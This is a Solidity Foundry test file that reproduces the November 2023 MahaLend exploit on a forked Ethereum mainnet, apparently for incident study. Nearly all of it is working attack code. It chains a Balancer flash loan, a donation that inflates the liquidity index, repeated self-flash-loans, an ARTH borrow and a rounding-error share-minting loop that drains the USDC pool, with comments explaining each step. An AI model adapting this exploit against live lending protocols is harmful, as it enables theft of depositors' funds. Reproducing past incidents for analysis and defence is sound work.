src/test/2023-11/MahaLend_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~20K USD$
8// Attacker : https://etherscan.io/address/0x0ec330df28ae6106a774d0add3e540ea8d226e3b
9// Attack Contract : https://etherscan.io/address/0xf5836e292f716a7979f9bc5c2d3ed59913e07962
10// Vulnerable Contract : https://etherscan.io/address/0xfd11aba71c06061f446ade4eec057179f19c23c4
11// Attack Tx :https://etherscan.io/tx/0x2881e839d4d562fad5356183e4f6a9d427ba6f475614ce8ef64dbfe557a4a2cc
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xfd11aba71c06061f446ade4eec057179f19c23c4#code
15 
16// @Analysis
17// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1723223766350832071
18 
19contract ContractTest is Test {
20    IERC20 ARTH = IERC20(0x8CC0F052fff7eaD7f2EdCCcaC895502E884a8a71);
21    IAaveFlashloan MahaLend = IAaveFlashloan(0x76F0C94Ced5B48020bf0D7f3D0CEabC877744cB5);
22    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
23    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
24    address mARTH = 0xE6B683868D1C168Da88cfe5081E34d9D80E4D1a6;
25    address mUSDC = 0x658b0f629B9e3753AA555C189D0cB19C1eD59632;
26    uint256 nonce;
27 
28    function setUp() public {
29        vm.createSelectFork("mainnet", 18_544_604);
30        vm.label(address(ARTH), "ARTH");
31        vm.label(address(USDC), "USDC");
32        vm.label(address(MahaLend), "MahaLend");
33        vm.label(address(Balancer), "Balancer");
34    }
35 
36    function testExploit() external {
37        USDC.approve(address(MahaLend), type(uint256).max);
38        address[] memory tokens = new address[](1);
39        tokens[0] = address(USDC);
40        uint256[] memory amounts = new uint256[](1);
41        amounts[0] = USDC.balanceOf(address(Balancer));
42        bytes memory userData = "";
43        Balancer.flashLoan(address(this), tokens, amounts, userData);
44 
45        emit log_named_decimal_uint(
46            "Attacker ARTH balance after exploit", ARTH.balanceOf(address(this)), ARTH.decimals()
47        );
48    }
49 
50    function receiveFlashLoan(
51        address[] memory tokens,
52        uint256[] memory amounts,
53        uint256[] memory feeAmounts,
54        bytes memory userData
55    ) external {
56        uint256 depositAmount = 1_160_272_591_443;
57        MahaLend.supply(address(USDC), depositAmount, address(this), 0);
58 
59        address[] memory assets = new address[](1);
60        assets[0] = address(USDC);
61        uint256[] memory amount = new uint256[](1);
62        amount[0] = depositAmount;
63        uint256[] memory modes = new uint256[](1);
64        modes[0] = 0;
65        MahaLend.flashLoan(address(this), assets, amount, modes, address(this), "", 0);
66 
67        for (uint256 i; i < 54; ++i) {
68            MahaLend.flashLoan(address(this), assets, amount, modes, address(this), "", 0);
69        }
70 
71        uint256 borrowAmount = ARTH.balanceOf(address(mARTH));
72        MahaLend.borrow(address(ARTH), borrowAmount, 2, 0, address(this));
73 
74        // recoverFund recoverfund = new recoverFund();
75        // USDC.transfer(address(recoverfund), USDC.balanceOf(address(this)));
76        // recoverfund.recoverDonatedFund();
77        recoverDonatedFund();
78 
79        USDC.transfer(address(Balancer), amounts[0]);
80    }
81 
82    function executeOperation(
83        address[] calldata asset,
84        uint256[] calldata amount,
85        uint256[] calldata premium,
86        address initiator,
87        bytes calldata params
88    ) external returns (bool) {
89        if (nonce == 0) {
90            uint256 depositAmount = amount[0];
91            USDC.transfer(address(mUSDC), depositAmount); // donate USDC as flashloan fund to inflate index
92            MahaLend.withdraw(address(USDC), depositAmount - 1, address(this)); // manipulate totalSupply to 1
93            nonce++;
94        }
95        return true;
96    }
97 
98    function recoverDonatedFund() internal {
99        uint256 premiumPerFlashloan = uint256(1_160_272_591_443) * 5 / 10_000 + 1; // 0.05% flashlaon fee
100        premiumPerFlashloan -= (premiumPerFlashloan * 4 / 10_000); // 0.04% protocol fee
101        uint256 nextLiquidityIndex = premiumPerFlashloan * 55 + 1; // 55 times flashloan
102        uint256 supplyAmount = nextLiquidityIndex / 2 + 1; // Use a rounding error greater than 0.5 for upward rounding and less than downward rounding
103 
104        console.log("premiumPerFlashloan", premiumPerFlashloan);
105        console.log("nextLiquidityIndex", nextLiquidityIndex);
106        console.log("supplyAmount", supplyAmount);
107 
108        uint256 count;
109        USDC.approve(address(MahaLend), type(uint256).max);
110        do {
111            MahaLend.supply(address(USDC), supplyAmount, address(this), 0); // supply 50% asset of 1 share, but mint 1 share throungh rounding error
112            count++;
113        } while (USDC.balanceOf(address(mUSDC)) > count * nextLiquidityIndex);
114 
115        MahaLend.withdraw(address(USDC), USDC.balanceOf(address(mUSDC)), address(this)); // withdraw all asset
116    }
117}